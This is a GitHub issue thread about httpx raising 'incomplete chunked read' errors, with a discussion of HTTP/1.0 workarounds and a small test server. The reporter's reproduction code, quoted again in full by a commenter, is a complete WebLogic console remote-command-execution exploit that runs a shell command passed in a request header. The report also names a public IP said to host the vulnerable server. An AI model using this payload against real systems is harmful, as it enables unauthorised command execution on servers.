search

encode / httpx

A next generation HTTP client for Python. 🦋
https://www.python-httpx.org/
BSD 3-Clause "New" or "Revised" License
13.1k stars 833 forks source link

peer closed connection without sending complete message body (incomplete chunked read) #1927

Closed ca3tie1 closed 2 years ago

ca3tie1 commented 2 years ago

Checklist

Describe the bug

I got the following error when sending some special requests: httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

headers = {
            "cmd": "whoami",
        }
host = "http://192.168.0.29:7001/"
url = """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""

with httpx.Client(headers=headers) as client:
    response = client.get(host + url)
    print(response.text)

Traceback (most recent call last):
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 62, in map_httpcore_exceptions
    yield
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 107, in __iter__
    for part in self._httpcore_stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\connection_pool.py", line 57, in __iter__
    for chunk in self.stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_bytestreams.py", line 56, in __iter__
    for chunk in self._iterator:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\http11.py", line 208, in _receive_response_data
    event = self._receive_event(timeout)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_sync\http11.py", line 222, in _receive_event
    event = self._h11_state.next_event()
  File "D:\Program Files\Python\Python38\lib\contextlib.py", line 131, in __exit__
    self.gen.throw(type, value, traceback)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpcore\_exceptions.py", line 12, in map_exceptions
    raise to_exc(exc) from None
httpcore.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "test3.py", line 17, in <module>
    response = client.get(host + url)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 1010, in get
    return self.request(
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 792, in request
    return self.send(request, auth=auth, follow_redirects=follow_redirects)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 891, in send
    raise exc
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 885, in send
    response.read()
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1562, in read
    self._content = b"".join(self.iter_bytes())
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1578, in iter_bytes
    for raw_bytes in self.iter_raw():
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_models.py", line 1632, in iter_raw
    for raw_stream_bytes in self.stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_client.py", line 124, in __iter__
    for chunk in self._stream:
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 108, in __iter__
    yield part
  File "D:\Program Files\Python\Python38\lib\contextlib.py", line 131, in __exit__
    self.gen.throw(type, value, traceback)
  File "D:\Program Files\Python\Python38\lib\site-packages\httpx\_transports\default.py", line 79, in map_httpcore_exceptions
    raise mapped_exc(message) from exc
httpx.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

If use requests, must use the following code to set the HTTP version to 1.0 to succeed.

import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
rsp = requests.get(host + url, headers=headers)
print(rsp.text)

Environment

Additional context

In order to facilitate the test, I put the website of the intranet on the Internet.This URL address can be used for testing : http://27.102.107.109:7001/

Priyansh2001here commented 2 years ago

I think you are sending request to wrong url 

host = "http://192.168.0.29:7001/"
url = """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""

would give HOST//Relative path i.e

http://192.168.0.29:7001//console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

which is wrong url

tomchristie commented 2 years ago

I'd be interested in digging into HTTP/1.0 failure cases - bit difficult right now since I don't know a publicly available URL which replicates this behaviour.

(If you're up for exposing an example server that'll replicate this again, then I'll happily take the time to look into it.)

stale[bot] commented 2 years ago

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

hi-unc1e commented 4 months ago

Original patch for urllib3 is here, a already-known issue for the community. But We need to migrate this patch into httpx, it's not easy since httpx using state-machine method to parse those chunk response

tomchristie commented 4 months ago

@hi-unc1e Unclear what you're trying to say. Could you start by describing/demoing issue from first principles?

hi-unc1e commented 4 months ago

@tomchristie

Problem Scenario

I have encountered an issue when handling responses from a server, which you can set up the server (Python 3):

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import socket
import threading

port = 80

def handle_request(client_socket, request):
    if "chunk_error" in request:
        response = bytes.fromhex("485454502f312e3120323030204f4b0d0a4163636570742d52616e6765733a2062797465730d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365743d5554462d380d0a446174653a204d6f6e2c203237204d617920323032342031313a31333a303120474d540d0a5365727665723a206e67696e780d0a5472616e736665722d456e636f64696e673a206368756e6b65640d0a0d0a32380d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c3e3c686561642069643d226448656164223e0d0a")
        client_socket.sendall(response)
        client_socket.close()
    else:
        response = "HTTP/1.1 200 OK\n\nHello World! This is Http Server With Many Problems"
        client_socket.sendall(response.encode())
        client_socket.close()

def handle_client(client_socket):
    request = client_socket.recv(1024).decode()
    print(f"Received request: {request}")
    handle_request(client_socket, request)

if __name__ == '__main__':
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind(('0.0.0.0', port))
    server_socket.listen(50)  # Set the listening queue size

    print(f"Listening on port {port}...")

    while True:
        client_socket, addr = server_socket.accept()
        client_thread = threading.Thread(target=handle_client, args=(client_socket,))
        client_thread.start()

When I try to access this server using httpx:

import httpx
response = httpx.get('http://127.0.0.1:80/chunk_error/')
print("Response: ", response.status_code, response.text)

I encounter the following error:

message = str(exc)
>           raise mapped_exc(message) from exc
E           httpx.RemoteProtocolError: peer closed connection without sending complete message body (incomplete chunked read)

Problem Analysis

Specifically, the underlying h11 library called by httpx throws this error link. We encountered this issue during secondary development of httpx. We believe that the current implementation of the httpx library does not require modifications to handle this specific scenario.

Instead, the httpx library should faithfully adhere to the correctness of the HTTP protocol.

Please feel free to reach out for any further clarifications or discussions.

tomchristie commented 4 months ago

Okay. My understanding of this is that "httpx is behaving correctly and raising an exception, although the exception could be clearer".

Does that match your interpretation?

hi-unc1e commented 4 months ago

Yes, no need to fix

From: "Tom @.> Date: Thu, May 30, 2024, 22:38 Subject: Re: [encode/httpx] peer closed connection without sending complete message body (incomplete chunked read) (Issue #1927) To: @.> Cc: @.>, @.> Okay. My understanding of this is that "httpx is behaving correctly and raising an exception, although the exception could be clearer". Does that match your interpretation? — Reply to this email directly, view it on GitHubhttps://github.com/encode/httpx/issues/1927#issuecomment-2139739287, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AQFDMBTGD6WG3VZOSYA6OM3ZE42VRAVCNFSM5HODWSGKU5DIOJSWCZC7NNSXTN2JONZXKZKDN5WW2ZLOOQ5TEMJTHE3TGOJSHA3Q. You are receiving this because you were mentioned.[image]Message ID: @.***>